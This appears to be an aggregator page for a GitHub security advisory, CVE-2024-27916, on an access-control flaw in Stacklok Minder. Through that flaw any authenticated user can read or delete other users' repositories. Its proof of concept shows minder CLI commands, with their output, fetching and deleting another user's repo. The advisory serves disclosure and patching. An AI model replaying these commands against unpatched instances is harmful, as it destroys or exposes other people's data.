CVE-2024-27916: `GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user
Summary A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have. Details https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23…
Published Mar 5, 2024 · Updated Mar 21, 2024
Affected packages
github.com/stacklok/minder
- Ecosystem
- Go
- Affected
- < 0.0.33
- Fixed in
- 0.0.33
- Check
go list -m github.com/stacklok/minder
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.
Details
https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23 https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278
The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.
DeleteRepositoryByName uses the same query and I have been able to delete another user's repo using this technique.
The GetArtifactByName endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.
PoC
Setup:
- Fresh provider/project on the production minder instance which is owned by me.
- A repo registered by another user (in this case, Ozz)
# show my identity
$ minder auth whoami
No config file present, using default values.
Here are your details:
+----------------------------------------------------+----------------------------------------------------+
| KEY | VALUE |
+----------------------------------------------------+----------------------------------------------------+
| Subject | c93cc12e-999d-49f4-9ee3-593fdfb39204 |
+----------------------------------------------------+----------------------------------------------------+
| Created At | 2024-02-26 15:53:29.228 +0000 |
| | UTC |
+----------------------------------------------------+----------------------------------------------------+
| Updated At | 2024-02-26 15:53:29.228 +0000 |
| | UTC |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server | api.stacklok.com:443 |
+----------------------------------------------------+----------------------------------------------------+
| Project | dmjb / |
| | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab |
+----------------------------------------------------+----------------------------------------------------+
# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+
# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
"id": "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
"context": {
"provider": "github",
"project": "b513f7f0-26dc-42e6-81a0-577df5489e62"
},
"owner": "JAORMX",
"name": "auditevent",
"repoId": "605597568",
"hookUrl": "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
"deployUrl": "https://api.github.com/repos/JAORMX/auditevent/deployments",
"cloneUrl": "https://github.com/JAORMX/auditevent.git",
"isFork": true,
"createdAt": "2024-03-04T13:27:54.019356Z",
"updatedAt": "2024-03-04T13:27:54.019356Z",
"defaultBranch": "main"
}
# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent
# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.Impact
Any user and project in a multi-tenant Minder instance.
Credited to dmjb.
References
- https://github.com/stacklok/minder/security/advisories/GHSA-v627-69v2-xx37
- https://github.com/stacklok/minder/commit/45750b4e9fb2de33365758366e06c19e999bd2eb
- https://nvd.nist.gov/vuln/detail/CVE-2024-27916
- https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278
- https://github.com/stacklok/minder/blob/main/internal/controlplane/handlers_repositories.go#L257-L299
- https://github.com/advisories/GHSA-v627-69v2-xx37
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2024-37904
Minder affected by denial of service from maliciously configured Git repository
medium5.7Jun 18, 2024CVE-2024-35238
Denial of service of Minder Server from maliciously crafted GitHub attestations
medium5.3May 28, 2024CVE-2024-35194
Stacklok Minder vulnerable to denial of service from maliciously crafted templates
medium5.3May 20, 2024CVE-2024-35185
Denial of service of Minder Server with attacker-controlled REST endpoint
medium5.3May 16, 2024CVE-2024-34084
Minder's GitHub Webhook Handler vulnerable to DoS from un-validated requests
high7.5May 7, 2024CVE-2024-31455
Minder GetRepositoryByName data leak
medium4.3Apr 9, 2024
